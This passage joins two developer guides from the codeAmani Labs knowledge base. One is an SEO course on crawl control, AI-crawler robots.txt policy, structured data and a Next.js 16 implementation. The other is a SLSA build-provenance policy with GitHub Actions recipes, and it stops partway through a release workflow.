Seer unavailable Needs Seer add-on + GitHub/GitLab cloud integration; not on self-hosted

Official docs:

SEO Developer Course & Resource Guide

Technology: seo · Category: tooling · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/seo

Insight:

SEO in late 2026 means one index and many readers. Google's AI Overviews and AI Mode are grounded in the normal Search index: there are no extra technical requirements, and Google says it ignores llms.txt, "chunking" and other AEO/GEO hacks. Ship the basics instead: crawlable HTML, an honest sitemap lastmod, canonicals, Open Graph, and JSON-LD that matches the visible page (FAQ rich results died on 2026-05-07). Keep INP at or under 200 ms. Search Console now has a per-site Search generative AI control and a Generative AI performance report. Bing has its own AI Performance report and takes IndexNow pushes. Decide AI-crawler access per bot. Training tokens (GPTBot, ClaudeBot, Google-Extended) are separate from search and answer bots (OAI-SearchBot, Claude-SearchBot), and robots.txt is a request, not a block. Enforce blocks at the edge with Cloudflare AI Crawl Control.

███████╗███████╗ ██████╗
██╔════╝██╔════╝██╔═══██╗
███████╗█████╗  ██║   ██║
╚════██║██╔══╝  ██║   ██║
███████║███████╗╚██████╔╝
╚══════╝╚══════╝ ╚═════╝

SEO Developer Course & Resource Guide

Focus: This is a developer's hands-on path to getting found by search engines, by AI answer engines (AI Overviews, AI Mode, ChatGPT search, Claude, Copilot, Perplexity) and by agents. It covers crawl control and AI-crawler policy, sitemaps and IndexNow, on-page signals, structured data, Core Web Vitals, measurement through the Search Console and Bing APIs, and a Next.js 16 reference implementation. Every fact was checked against official sources (Google Search Central, Google crawling docs, nextjs.org, indexnow.org, Bing, OpenAI, Anthropic, Perplexity, Cloudflare, llmstxt.org) and was reviewed 2026-10-20.

How this course works

The course has eight parts. Most end with a ✅ capability checkpoint. The interactive learn module above this page is a live SERP, social card and structured-data previewer, and it illustrates Parts 3–4. Every file you need is linked from §Templates, and the runnable versions are in examples/.

Table of Contents

  1. How discovery works in 2026
  2. Crawl control & sitemaps covers robots.txt, sitemap.xml and IndexNow
  3. On-page SEO covers titles, meta, canonical, Open Graph and preview controls
  4. Structured data covers JSON-LD and what still earns rich results
  5. Technical SEO & performance covers Core Web Vitals (INP) and Lighthouse 13
  6. AI search, AI crawlers & llms.txt
  7. Measurement · Next.js 16 implementation · Templates · codeAmani notes

Versions & facts (verified 2026-10-20)

Item Current Source
next 16.4.2 (latest; 16.5 in canary) npm view next version
schema-dts 2.1.0 (2026-10-02) npm
web-vitals 6.2.3 (2026-10-05). onLCP / onINP / onCLS, plus a web-vitals/attribution build npm, GitHub README
google-auth-library 11.3.1 (for the Search Console API) npm
next-sitemap 4.2.3, last published 2023-09-06. Not needed, because app/sitemap.ts covers it npm
Latest Google core update May 2026 core update (21 May, about 12 days). Earlier: March 2026 and December 2025 Search Status Dashboard
Latest Google spam update September 2026 spam update (24 Sep, about 14 days) same
Core Web Vitals LCP ≤ 2.5 s · INP ≤ 200 ms · CLS ≤ 0.1 at p75 web.dev, matching the lighthouse/ guide
Sitemap limits 50,000 URLs or 50 MB uncompressed per file Google build-sitemap docs
IndexNow ≤ 10,000 URLs per POST. Google does not participate indexnow.org

Official Documentation

Resource URL
Google Search Central https://developers.google.com/search/docs
Optimizing for generative AI features https://developers.google.com/search/docs/fundamentals/ai-optimization-guide
AI features and your website https://developers.google.com/search/docs/appearance/ai-features
Search Central changelog https://developers.google.com/search/updates
Google crawlers (incl. Google-Extended) https://developers.google.com/crawling/docs/crawlers-fetchers/google-common-crawlers
robots.txt spec (Google) https://developers.google.com/crawling/docs/robots-txt/robots-txt-spec
Build & submit a sitemap https://developers.google.com/search/docs/crawling-indexing/sitemaps/build-sitemap
Structured data (Search Gallery) https://developers.google.com/search/docs/appearance/structured-data/search-gallery
Search Console API (searchAnalytics.query) https://developers.google.com/webmaster-tools/v1/searchanalytics/query
Next.js Metadata API https://nextjs.org/docs/app/api-reference/functions/generate-metadata
IndexNow protocol https://www.indexnow.org/documentation
Cloudflare AI Crawl Control https://developers.cloudflare.com/ai-crawl-control/
llms.txt proposal https://llmstxt.org/
Core Web Vitals https://web.dev/articles/vitals
Rich Results Test https://search.google.com/test/rich-results

1. How discovery works in 2026

flowchart LR
  C["Crawl<br/>robots.txt + CDN rules"] --> I["Index<br/>sitemap + clean HTML"]
  I --> R["Rank<br/>relevance + quality + page experience"]
  R --> S["Classic results"]
  I --> G["AI Overviews / AI Mode<br/>RAG over the same index + query fan-out"]
  G --> CT["Cited as a supporting link"]
  C --> X["Other AI engines<br/>OAI-SearchBot · Claude-SearchBot · Bingbot→Copilot"]
  X --> CT

💡 The mindset shift, corrected. In 2024–25 the advice was to "optimize separately for LLMs". Google's own 2026 guidance says the reverse: generative AI features "are rooted in our core Search ranking and quality systems". So do good SEO and write non-commodity content (first-hand, expert, specific). Make deliberate per-bot decisions for the non-Google AI crawlers.


2. Crawl control & sitemaps

robots.txt: where crawlers may go

The file lives at /robots.txt. It manages crawl traffic. It isn't an index blocker: a disallowed URL that other pages link to can still be indexed without its content. Use noindex to keep a page out of the index.

# /robots.txt
User-agent: *
Allow: /
Disallow: /admin/
Disallow: /api/

Sitemap: https://example.com/sitemap.xml

Google supports only user-agent, allow, disallow and sitemap, and ignores anything past 500 KiB. It does not support crawl-delay, although some other crawlers (Anthropic, for example) do. Google also ignores a non-standard line like Content-Signal. AI-crawler groups are covered in §6.

sitemap.xml: what exists

The file lives at /sitemap.xml. <loc> is required. Facts from Google's sitemap docs:

<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
  <url>
    <loc>https://example.com/</loc>
    <lastmod>2026-10-01</lastmod>
  </url>
  <url>
    <loc>https://example.com/pricing</loc>
    <lastmod>2026-09-15</lastmod>
  </url>
</urlset>

IndexNow: push changes to Bing and others

IndexNow lets you tell participating engines that a URL changed instead of waiting for a recrawl. Bing uses it, and so do other engines that share submissions with each other. Google does not participate. For Google, rely on sitemaps with honest lastmod values.

  1. Generate a key of 8–128 characters (a-z A-Z 0-9 -) and serve it as https://<host>/<key>.txt.
  2. POST https://api.indexnow.org/indexnow with JSON { host, key, keyLocation, urlList }. Each POST takes up to 10,000 URLs.
  3. Responses: 200 OK · 202 accepted, key pending · 400 bad format · 403 bad key · 422 URL not on host · 429 slow down.

See examples/indexnow.mts. Submit only URLs that really changed. Spamming the endpoint earns a 429.

✅ Checkpoint: You know robots.txt ≠ noindex, you leave priority and changefreq out of your sitemap, your lastmod values are honest, and you push changed URLs to IndexNow for Bing.


3. On-page SEO: the signals on every page

<head>
  <!-- Title: the result headline + browser tab. Front-load the keyword; Google truncates by pixel width (~50–60 chars). -->
  <title>Stripe Checkout in Next.js | codeAmani Labs</title>

  <!-- Meta description: often (not always) the snippet. ~150–160 chars, unique per page. -->
  <meta name="description" content="Add Stripe Checkout to a Next.js 16 app: server action, webhook signature check, and idempotent fulfilment, with copy-paste code.">

  <!-- Canonical: the one true URL. Put it in the server HTML — Google canonicalizes before AND after rendering. -->
  <link rel="canonical" href="https://example.com/stripe-checkout">

  <!-- Indexing + preview controls (THIS is how you exclude or limit snippets, incl. in AI features). -->
  <meta name="robots" content="index, follow, max-image-preview:large">

  <!-- Open Graph — social cards (LinkedIn, Slack, WhatsApp, iMessage). Google also reads og:image for thumbnails. -->
  <meta property="og:title" content="Stripe Checkout in Next.js">
  <meta property="og:description" content="Server action + verified webhook, step by step.">
  <meta property="og:image" content="https://example.com/og/stripe-checkout.png">
  <meta property="og:type" content="article">
  <meta property="og:url" content="https://example.com/stripe-checkout">
  <meta name="twitter:card" content="summary_large_image">

  <meta name="viewport" content="width=device-width, initial-scale=1">
</head>

Also put on every page: one <h1> and a logical heading outline, descriptive alt text, descriptive link text, semantic HTML (<nav>, <main>, <article>), and hreflang if you serve several languages or regions.

Preview controls also govern AI features. Google's AI Overviews and AI Mode follow nosnippet, data-nosnippet, max-snippet and noindex. Bing has supported data-nosnippet since October 2025. Wrap any text you never want quoted in <span data-nosnippet>…</span>.

2026 changelog items that matter:

✅ Checkpoint: Every page has a unique title and description, a server-rendered canonical, OG tags with a large image, one h1 and alt text.


4. Structured data (JSON-LD)

JSON-LD is a set of machine-readable facts about the page. It can earn rich results, and it hands every consumer clean entities. Google recommends JSON-LD in a <script> tag. Validate with the Rich Results Test or the Schema Markup Validator.

<script type="application/ld+json">
{
  "@context": "https://schema.org",
  "@type": "Article",
  "headline": "Stripe Checkout in Next.js",
  "author": { "@type": "Organization", "name": "codeAmani Labs" },
  "datePublished": "2026-06-07",
  "dateModified": "2026-10-01",
  "image": "https://example.com/og/stripe-checkout.png"
}
</script>

What Google still shows (late 2026)

Status Types
Gone FAQPage rich results (stopped 2026-05-07, docs removed 2026-06-15). HowTo (2023). Course info, estimated salary, learning video, special announcement and vehicle listing (docs removed 2025-09-09). ClaimReview (phased out from 2025-06). Practice problem (deprecated 2025-11, reporting removed January 2026). Dataset (used only by Dataset Search, not Google Search)
Active, worth it Article · BreadcrumbList · Organization (incl. merchant return and shipping policies, loyalty programs) · Product / merchant listing (with Offer, sale dates via validFrom/validThrough, category, hasAdultConsideration) · Review snippet (2026: no fake or undisclosed incentivized reviews) · LocalBusiness · VideoObject (2026: creator, interactionStatistic) · Event (physical, publicly bookable only) · DiscussionForumPosting / QAPage (more properties in 2026) · Recipe · JobPosting

Rules that matter more than the type list:

Type your objects with schema-dts (WithContext<Article> and so on). See examples/jsonld.tsx.

✅ Checkpoint: Your key pages carry valid JSON-LD that matches the visible content and passes the Rich Results Test, and you don't count on FAQ or HowTo results.


5. Technical SEO & performance

Core Web Vitals (page experience)

Targets are measured at the 75th percentile of real users. These match the lighthouse guide:

Metric Good Needs improvement Poor Measures
LCP ≤ 2.5 s ≤ 4.0 s > 4.0 s Loading
INP ≤ 200 ms ≤ 500 ms > 500 ms Responsiveness (replaced FID on 2024-03-12)
CLS ≤ 0.1 ≤ 0.25 > 0.25 Visual stability

INP is field-only: a lab run has no user interaction to measure. Use TBT as its lab proxy, and get real INP from CrUX, PageSpeed Insights, Search Console or the web-vitals library.

Lighthouse 13 and the SEO audit

Lighthouse 13.5.0 is current. Its SEO category checks automatable signals: <title>, meta description, crawlability (no blocking robots or noindex), a valid rel=canonical, descriptive link text, image alt, valid hreflang, HTTP status, a valid robots.txt and structured-data presence. The checks that moved out in v12 are viewport and font-size (now in Best Practices) and tap-targets (replaced by target-size in Accessibility). Lighthouse 13.3+ also adds an informational Agentic Browsing category with checks for llms.txt, WebMCP and ARD schema. It's a pass ratio, not a 0–100 score, and Google labels it under development.

# CI gate (Node ≥ 22.19 for lighthouse@13) — see the lighthouse + github guides for the workflow
npx lighthouse@13.5.0 https://example.com --only-categories=seo,performance --output=json --output-path=./lh.json

✅ Checkpoint: Lighthouse SEO ≥ 0.9 on key pages, mobile LCP ≤ 2.5 s, and field INP ≤ 200 ms.


6. AI search, AI crawlers & llms.txt

Google: AI Overviews and AI Mode

Google's AI optimization guide (May 2026, updated July 2026) and its AI features page say three things:

Controls, from lightest to heaviest:

You want to… Use Notes
Limit what's quoted nosnippet, data-nosnippet, max-snippet applies to AI Overviews and AI Mode as well as snippets
Leave AI Overviews, AI Mode and Discover gen-AI but stay in Search Search Console → Settings → Search generative AI → Exclude rolled out worldwide 2026-08-31. Not a ranking signal. Takes effect in 1–2 days. Child properties inherit from the parent property. It does not stop training
Stop Gemini training and Gemini/Vertex grounding User-agent: Google-Extended + Disallow a robots.txt token only, with no separate fetcher. Doesn't affect Search, AI Overviews or ranking
Leave Google entirely noindex —

Blocking Googlebot to dodge AI features blocks you from Search too. Don't.

AI crawler user agents (verified from each vendor's docs, 2026-10-20)

Token Vendor Purpose Obeys robots.txt? Default stance
OAI-SearchBot OpenAI surfaces sites in ChatGPT search yes allow
GPTBot OpenAI foundation-model training yes per project
ChatGPT-User OpenAI user-initiated fetches, GPT Actions "may not apply" n/a
OAI-AdsBot OpenAI checks landing pages submitted as ChatGPT ads only visits ad pages n/a
Claude-SearchBot Anthropic improves Claude search results yes allow
ClaudeBot Anthropic training yes (+ Crawl-delay) per project
Claude-User Anthropic fetches pages when a user asks Claude yes allow
PerplexityBot Perplexity Perplexity search results, not training yes, per its docs allow
Perplexity-User Perplexity user-initiated fetches "generally ignores" robots.txt n/a
Google-Extended Google Gemini training and grounding yes (token only) per project
Applebot-Extended, CCBot, meta-externalagent, Bytespider, Amazonbot Apple, Common Crawl, Meta, ByteDance, Amazon mostly training varies per project

Search and answer bots send traffic and citations, so allow them. Training tokens are a business decision. Blocking GPTBot doesn't remove you from ChatGPT search, and blocking ClaudeBot doesn't remove you from Claude search. In Next.js 16.3+ you can emit the whole policy, including non-standard lines, from app/robots.ts. See examples/robots.ts.

# Equivalent of examples/robots.ts with ALLOW_TRAINING = false (abridged;
# Next.js writes one User-Agent group per agent in the array)
User-Agent: *
Allow: /
Disallow: /admin/
Disallow: /api/
Content-Signal: search=yes, ai-input=yes, ai-train=no

User-Agent: OAI-SearchBot
User-Agent: Claude-SearchBot
User-Agent: PerplexityBot
Allow: /

User-Agent: GPTBot
User-Agent: ClaudeBot
User-Agent: Google-Extended
Disallow: /

Sitemap: https://example.com/sitemap.xml

Enforcing it: Cloudflare AI Crawl Control

robots.txt is a request. User-triggered fetchers (ChatGPT-User, Perplexity-User) may ignore it, and bad bots always do. On Cloudflare-proxied zones:

llms.txt: ship it for agents, not for Google

llms.txt is a community proposal, now at v2 (modified 2026-08-10, "open for community input"). The format is an H1 name (the only required part), a blockquote summary, optional prose, then H2 sections of - [name](url): notes, plus a skippable ## Optional section. v2 adds markdown twins: page.md or page.html.md (index.md for directory URLs), which pages advertise with <link rel="alternate" type="text/markdown">. A twin points back to its llms.txt with rel="describedby", as a <link> or an HTTP Link: header.

Google said on 2026-06-15 that llms.txt files "aren't needed for Google Search", that they "won't negatively or positively impact your visibility", and that keeping them for other systems is fine. That's codeAmani's position too. Ship llms.txt on docs and developer-facing products, where coding agents and IDE assistants read it. Don't sell it as a ranking lever. Lighthouse's Agentic Browsing category checks for it.

# codeAmani Labs

> AI-augmented SaaS tools for US businesses, built on Next.js and Stripe.

## Docs
- [Getting started](https://example.com/docs/start.md): Install and first request
- [API reference](https://example.com/docs/api.md): Every endpoint, with examples

## Optional
- [Blog](https://example.com/blog.md): Background articles

Agents

Google's guide also points at browser agents. These read screenshots, the DOM and the accessibility tree, and emerging protocols such as the Universal Commerce Protocol (UCP) let them do more. Semantic HTML and an accessible UI are the practical prep. See web.dev's agent-friendly site UX.

✅ Checkpoint: Search and answer bots are allowed. Training bots follow a written per-project decision. Edge enforcement is on if blocking matters. You know llms.txt does nothing for Google.


7. Measurement

Tool What it tells you
Google Search Console: Performance Clicks, impressions, CTR and position. AI Overviews and AI Mode are counted inside the "Web" search type
Search Console: Generative AI performance report Impressions of your links in AI Overviews and AI Mode (Discover has its own report). Available to all sites since 2026-08-31. UI and export only; no API is documented
Search Console API searchAnalytics.query: up to 25,000 rows per call, an hour dimension with dataState: "hourly_all", and types web/image/video/news/discover/googleNews
Bing Webmaster Tools: AI Performance Copilot and Bing AI-summary citations, cited pages and grounding queries. Public preview since 2026-02-10; June 2026 added Intents, Topics, Citation Share and Compare. Doesn't show clicks
Lighthouse / PageSpeed Insights Lab SEO and performance, plus CrUX field data
web-vitals Real-user LCP, INP and CLS from your own analytics
Rich Results Test / Schema validator Whether your JSON-LD qualifies for rich results
// Real-user vitals → your endpoint (web-vitals 6.x; use "web-vitals/attribution" to debug causes)
import { onLCP, onINP, onCLS, type Metric } from "web-vitals";
const send = (m: Metric) => navigator.sendBeacon("/vitals", JSON.stringify(m));
onLCP(send); onINP(send); onCLS(send);

Search Console API. Use a Google Cloud service account with the Search Console API enabled, add it as a user on the property, and request scope webmasters.readonly. The full script is examples/search-console.mts. The JSON key is the only secret, so it goes in the vault:

# .env.local — server-side only, never NEXT_PUBLIC_
GSC_SERVICE_ACCOUNT_JSON={"type":"service_account","client_email":"...","private_key":"..."}
Setting (not secret) Example Where
Search Console property sc-domain:example.com script argument / config
IndexNow key 32-char hex string public file /<key>.txt + config. Public by design
Site URL https://example.com metadataBase, BASE_URL

Track metrics in this order: indexed pages → impressions (incl. AI features) → average position → CTR → conversions. Google reports that clicks from results pages with AI Overviews are "higher quality", meaning visitors spend more time on site, so judge AI traffic by conversions as well as raw clicks.


8. Next.js 16 reference implementation

Next.js 16.4.2 (App Router, the codeAmani default) generates every file and tag natively. What changed since the 15.x-era version of this guide:

Version Change
15.2 generateMetadata can stream after the initial UI. Next.js still sends blocking <head> metadata to HTML-limited bots (default list includes Google's AdsBot/Mediapartners/PageRenderer, Bingbot, Twitterbot and Slackbot). Override with htmlLimitedBots in next.config.ts, or /.*/ to disable streaming
16.0 opengraph-image / twitter-image receive params as a Promise. generateSitemaps passes id to sitemap() as a Promise<string>
16.3 robots.ts rules accept other for non-standard directives (Content-Signal, Request-Rate, Clean-param), passed through verbatim
// app/layout.tsx — metadataBase + title template + indexable defaults
import type { Metadata } from "next";
export const metadata: Metadata = {
  metadataBase: new URL("https://example.com"),
  title: { default: "codeAmani Labs", template: "%s | codeAmani Labs" },
  description: "AI-augmented SaaS tools built in the US.",
  robots: { index: true, follow: true, googleBot: { "max-image-preview": "large" } },
};
// app/stripe-checkout/page.tsx → per-page metadata
import type { Metadata } from "next";
export const metadata: Metadata = {
  title: "Stripe Checkout in Next.js",
  description: "Server action + verified webhook + idempotent fulfilment, with copy-paste code.",
  alternates: { canonical: "/stripe-checkout" },
  openGraph: { type: "article" }, // og:image comes from a colocated opengraph-image.tsx
  twitter: { card: "summary_large_image" },
};
File Serves Example
app/robots.ts /robots.txt with the AI-crawler policy and Content-Signal examples/robots.ts
app/sitemap.ts /sitemap.xml with real lastmod, image and hreflang alternates examples/sitemap.ts
app/**/opengraph-image.tsx og:image (+ width, height, alt), generated with ImageResponse from next/og examples/opengraph-image.tsx
layout.tsx / page.tsx metadata / generateMetadata examples/metadata.ts
Server Component <script type="application/ld+json"> JSON-LD (escape < as <) examples/jsonld.tsx
app/llms.txt/route.ts or public/llms.txt /llms.txt examples/llms-txt-route.ts

ImageResponse limits: it supports flexbox and a CSS subset only (no display: grid), with a 500 KB bundle cap that covers JSX, CSS, fonts and images. Generated images are prerendered and cached unless they use request-time APIs. next-sitemap is unnecessary now that sitemap.ts and generateSitemaps exist.


Copy-paste file templates

Troubleshooting

Issue Fix
Page not indexed Check URL Inspection in Search Console. Make sure there's no noindex, the page is in the sitemap, it returns 200, and the CDN/WAF isn't blocking Googlebot
"Blocked by robots.txt" but should be public Remove the Disallow. Remember robots.txt ≠ noindex
Blocked page still shows in results Add noindex and allow crawling so Google can see the tag
Rich result disappeared Check the changelog. FAQ (May 2026) and several 2025 types were retired. Otherwise, fix required-property errors
Wrong thumbnail Align schema.org image and og:image, and set max-image-preview:large
Not appearing in AI Overviews or AI Mode Check that the page is indexed and snippet-eligible, check Search Console → Settings → Search generative AI isn't set to Exclude, and check that no nosnippet is set
Content shows in AI features despite nosnippet Confirm with URL Inspection that Googlebot sees the tag, then wait for a recrawl (days to months)
Missing from ChatGPT or Claude search Allow OAI-SearchBot / Claude-SearchBot in robots.txt and in Cloudflare AI Crawl Control or WAF
Bing slow to pick up changes Push the changed URLs through IndexNow
Traffic drop after a core update Compare dates against the Status Dashboard. Improve content quality. Recovery can come between big updates
OG image relative / broken Set metadataBase in the root layout

codeAmani notes

Official docs:

SLSA Provenance & Supply-Chain Integrity

Technology: supply-chain · Category: tooling · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/supply-chain

Insight:

SLSA levels are Build-track assurance levels, not a tool you install. codeAmani targets Build L3 for anything that ships (npm package, release tarball, container); npm publish --provenance / trusted publishing alone is only L2. Two L3 routes now exist: the slsa-github-generator isolated builders (our documented default, but its maintainers marked it no longer actively maintained in Aug 2026) and GitHub's own route, actions/attest inside a shared reusable workflow. npm removes direct-publish tokens in Jan 2027, which breaks the generator's npm publish step. Deploys (this KB, Vercel apps) need no provenance: pin your Actions and document the build.

███████╗██╗     ███████╗ █████╗
██╔════╝██║     ██╔════╝██╔══██╗
███████╗██║     ███████╗███████║
╚════██║██║     ╚════██║██╔══██║
███████║███████╗███████║██║  ██║
╚══════╝╚══════╝╚══════╝╚═╝  ╚═╝

SLSA (Supply-chain Levels for Software Artifacts) is an OpenSSF framework for build integrity. It answers one question for whoever installs your artifact: "Here is the verifiable, unforgeable record of how and where this was built." This guide is policy for codeAmani: decide a provenance target at plan time, not at release.

Status, 2026-10-20: read before you copy a recipe.

  1. slsa-github-generator and slsa-verifier both carry a "no longer actively maintained" notice (added 2026-08-06). Existing provenance stays valid and the v2.1.0 reusable workflows still run, but they "should not be assumed to receive updates, including for GitHub Actions runtime deprecations". The maintainers point new integrations to GitHub artifact attestations.
  2. The generator's npm publish action needs a long-lived npm token and pins npm 9.8.1. That npm can't do trusted publishing (OIDC, npm ≥ 11.5.1) or staged publishing (npm ≥ 11.15.0). npm removes direct publishing with granular tokens in January 2027, so Recipe A1 stops working then unless the generator ships a fix.
  3. GitHub documents a second Build L3 route: build + actions/attest inside a shared reusable workflow. This guide now presents it as an option (Recipes A2, B2, C2). The policy target (Build L3) is unchanged. Which L3 route becomes the default is an open decision for the owner; the trade-offs are recorded in supply-chain/NOTES.md.

Verified versions (2026-10-20)

Pin every action to a full commit SHA (house policy). Exception: SLSA generator reusable workflows must be referenced by @vX.Y.Z tag, because the generator refuses to run from a SHA or branch.

Component Version Pin (commit SHA) Source
SLSA spec v1.2 (current approved) — slsa.dev/spec
slsa-framework/slsa-github-generator v2.1.0 (2025-02-24, latest; unmaintained) use tag @v2.1.0 GitHub releases
slsa-framework/slsa-verifier v2.7.1 (2025-06-27, latest; unmaintained) — GitHub releases
actions/attest v4.2.2 1e69f48acb82d1966a394da916b4c1698aa569d6 GitHub releases
actions/attest-build-provenance v4.2.2 (thin wrapper over actions/attest) 4d101475d8b20a2381f78447822ac1eab6504dd8 GitHub releases
actions/checkout v7.0.1 3d3c42e5aac5ba805825da76410c181273ba90b1 GitHub releases
actions/setup-node v7.1.0 949feb2413d6458794dcd2491c4babbbce0c15c1 GitHub releases
actions/upload-artifact v7.0.2 cf430e030ddbb5b0abf93d22962f4752f3646cd9 GitHub releases
actions/download-artifact v8.0.2 (digest mismatch now errors by default) 9000827ccba6bdab643e8b6fd33ac0654aef8333 GitHub releases
docker/build-push-action v7.4.0 c3c9e263c25d99ce0380d002d59b67737d91b0dc GitHub releases
docker/setup-buildx-action v4.4.1 f87e5991a6d7451dcb8d9637bfbc97413f497069 GitHub releases
docker/login-action v4.6.0 dbcb813823bdd20940b903addbd779551569679f GitHub releases
docker/metadata-action v6.2.0 dc802804100637a589fabce1cb79ff13a1411302 GitHub releases
sigstore/cosign v3.1.3 — GitHub releases
sigstore/cosign-installer v4.1.2 (installs cosign v3.0.6 by default) 6f9f17788090df1f26f669e9d70d6ae9567deba6 GitHub releases
npm CLI 12.2.0 (latest); 11.21.1 on the 11.x line — npm view npm

What SLSA is (and isn't)

SLSA is not a package, an action, or a vendor. It is a maturity framework. The familiar numbers (L1/L2/L3) are assurance levels on the Build track. Each one adds a stronger guarantee about how trustworthy an artifact's provenance is.

Level Guarantee Roughly achieved by
Build L1 Provenance exists: an automated build emits a record of how the artifact was made. Falsifiable. A build script + recorded metadata
Build L2 Provenance is signed & authenticated and built on a hosted platform. Binds artifact → source repo + builder. npm trusted publishing / npm publish --provenance; actions/attest in the build job; docker/build-push-action attestations + a signature
Build L3 + Isolation / non-falsifiable: provenance is generated in a trusted control plane the build steps can't reach, and builds can't poison each other's caches. slsa-github-generator isolated builders, or (per GitHub docs) build + actions/attest in a shared reusable workflow

SLSA v1.2 is the current approved spec. It adds a Source track (commit and review integrity) next to the Build track. The L1–L3 levels people usually mean are still Build-track levels, and this guide targets the Build track. The spec repo's draft (commit of 2026-10-19) adds a Build L4 with a dependency-completeness requirement. It is not part of approved v1.2, so don't plan against it yet.

The L2 → L3 jump is a trust-model choice

The SLSA v1.2 isolation requirement spells out three properties: no build can inject entries into another build's cache, no build can reach the platform's signing secrets, and no build can persist state into a later build.

Mini Shai-Hulud (May 2026) is the worked example. Attackers poisoned the pnpm cache via a pull_request_target workflow. The release job then ran with id-token: write, malicious code scraped the OIDC token from runner memory, and 84 @tanstack artifacts shipped with cryptographically valid npm provenance. That provenance was L2. The build broke all three L3 isolation properties (slsa.dev analysis).


Decision rubric: does this project ship an artifact?

This is the only question that matters. SLSA protects distributed artifacts. If nothing gets downloaded, there's nothing to attest.

Project archetype Ships a downloadable artifact? Target Recipe
Knowledge base / docs (e.g. the tech-stack repo) No n/a: pin Actions, document the build —
Next.js app on Netlify/Vercel (dashboard, mail, kipaji-web) No: a deploy, not an artifact SLSA-aware only hardened CI, no provenance
Published npm package / CLI / MCP server Yes (registry) Build L3 A1 (generator) or A2 (reusable workflow)
GitHub Release tarball / binary Yes (release asset) Build L3 B1 (generic generator) or B2 (reusable workflow)
Container image Yes (registry) Build L3 C1 (container generator) or C2 (reusable workflow)

Netlify/Vercel deployments don't emit SLSA provenance. To put provenance on a deployed app, you'd build the deployable artifact in GitHub Actions, attest it, and deploy that attested output. That's heavy, and it fights Vercel's build-on-push model. Skip it unless an artifact actually ships.

Platform constraints that decide what's possible

Constraint Effect Source
npm provenance doesn't work from private source repos (even for public packages) A private repo gets no npm provenance from trusted publishing or --provenance npm trusted-publishers docs
GitHub artifact attestations in private/internal repos need GitHub Enterprise Cloud On Free/Pro/Team, actions/attest works for public repos only actions/attest README
npm trusted publishing: GitHub-hosted runners only (no self-hosted) Release jobs must use runs-on: ubuntu-latest (or another hosted image) npm trusted-publishers docs
Generator with a private repo Signs via public Sigstore, so the repo name lands in the public Rekor log. Set rekor-log-public: true (nodejs builder) / private-repository: true (generic, container) only after accepting that generator workflow inputs

Two routes to Build L3

Route 1: slsa-github-generator (current documented default) Route 2: reusable workflow + actions/attest (GitHub-documented L3)
Who claims L3 SLSA project ("SLSA3+" builders) GitHub docs: "Reusable workflows can provide isolation between the build process and the calling workflow, to meet SLSA v1.0 Build Level 3."
Maintenance No longer actively maintained (notice 2026-08-06); last release v2.1.0 (Feb 2025). JS actions declare node20, which GitHub removed from runners on 2026-09-23; the runner now executes them on Node 24 First-party, actively released (actions/attest v4.2.2, Aug 2026)
Isolation mechanism Builder runs your build in a separate job; provenance is generated and signed in a different job the build can't touch Isolation comes from your reusable workflow's design. Keep the build job without id-token: write and attest in a separate job (see A2)
Trust root SLSA project's builder workflows Whoever controls the shared reusable workflow (SLSA blog: "the trust root moves rather than disappears")
Format / storage .intoto.jsonl on the Release, or npm provenance file Sigstore bundle in GitHub's attestations API (and OCI registry for images)
Consumer verification slsa-verifier (unmaintained) / npm audit signatures gh attestation verify --signer-workflow … / --signer-repo …
npm publishing Publish action needs an npm token + npm 9.8.1 → breaks when direct-publish tokens go away (Jan 2027) Plain npm publish / npm stage publish with trusted publishing (OIDC), no token
Private repos Works (public Rekor entry) Needs GitHub Enterprise Cloud for attestations

Policy is unchanged: shipped artifacts target Build L3. Until the owner decides (see NOTES.md → Decision needed), both routes are acceptable. New public-repo projects should prefer Route 2, because Route 1's npm path has a fixed expiry date.


Recipe A1: npm package via the Node.js isolated builder (Route 1)

The builder runs run-scripts inside an isolated job, packs the tarball, and generates non-falsifiable provenance. The companion publish action pushes both to npm.

Prerequisites on the package:

Full file: supply-chain/examples/release-npm-slsa3-generator.yml.

jobs:
  build:
    permissions:
      id-token: write   # OIDC token for Sigstore signing
      contents: read
      actions: read
    if: startsWith(github.ref, 'refs/tags/')
    uses: slsa-framework/slsa-github-generator/.github/workflows/builder_nodejs_slsa3.yml@v2.1.0
    with:
      directory: "."                   # sub-dir with package.json in a monorepo, e.g. packages/mcp-server
      node-version: "24"
      run-scripts: "ci, test, build"   # runs INSIDE the isolated builder before packing

  publish:
    needs: [build]
    runs-on: ubuntu-latest
    permissions:
      contents: read
      actions: read
    steps:
      - uses: actions/setup-node@949feb2413d6458794dcd2491c4babbbce0c15c1 # v7.1.0
        with:
          node-version: "24"
          registry-url: "https://registry.npmjs.org"
          package-manager-cache: false
      - uses: slsa-framework/slsa-github-generator/actions/nodejs/publish@v2.1.0
        with:
          access: public
          node-auth-token: ${{ secrets.NPM_TOKEN }}
          package-name: ${{ needs.build.outputs.package-name }}
          package-download-name: ${{ needs.build.outputs.package-download-name }}
          package-download-sha256: ${{ needs.build.outputs.package-download-sha256 }}
          provenance-name: ${{ needs.build.outputs.provenance-name }}
          provenance-download-name: ${{ needs.build.outputs.provenance-download-name }}
          provenance-download-sha256: ${{ needs.build.outputs.provenance-download-sha256 }}

The generator's reusable workflow and actions must use a @vX.Y.Z tag. Pin everything else to a full SHA.


Recipe A2: npm package via a reusable workflow + actions/attest + trusted publishing (Route 2)

Three pieces:

  1. A reusable workflow (.github/workflows/build-attest.yml) with two jobs. The build job installs, tests, and packs with no id-token permission, so a malicious dependency script can't mint an OIDC token. The attest job downloads the tarball (download-artifact v8 fails on digest mismatch), re-checks the sha256, and runs actions/attest. It never executes project code.
  2. A caller (.github/workflows/release.yml) on v* tags. It calls the reusable workflow, then publishes the same tarball with trusted publishing, so no npm token exists anywhere.
  3. A trusted publisher on npmjs.com that names the caller workflow file. npm validates the calling workflow's name when workflow_call is involved, and both parent and child need id-token: write if the child publishes.

Full files: supply-chain/examples/reusable-build-attest.yml and supply-chain/examples/release-npm-reusable.yml.

# release.yml (caller): publish job only
  publish:
    needs: [build]
    runs-on: ubuntu-latest
    environment: npm-release          # optional approval gate
    permissions:
      contents: read
      id-token: write                 # trusted publishing (OIDC); npm adds L2 provenance automatically
    steps:
      - uses: actions/setup-node@949feb2413d6458794dcd2491c4babbbce0c15c1 # v7.1.0
        with:
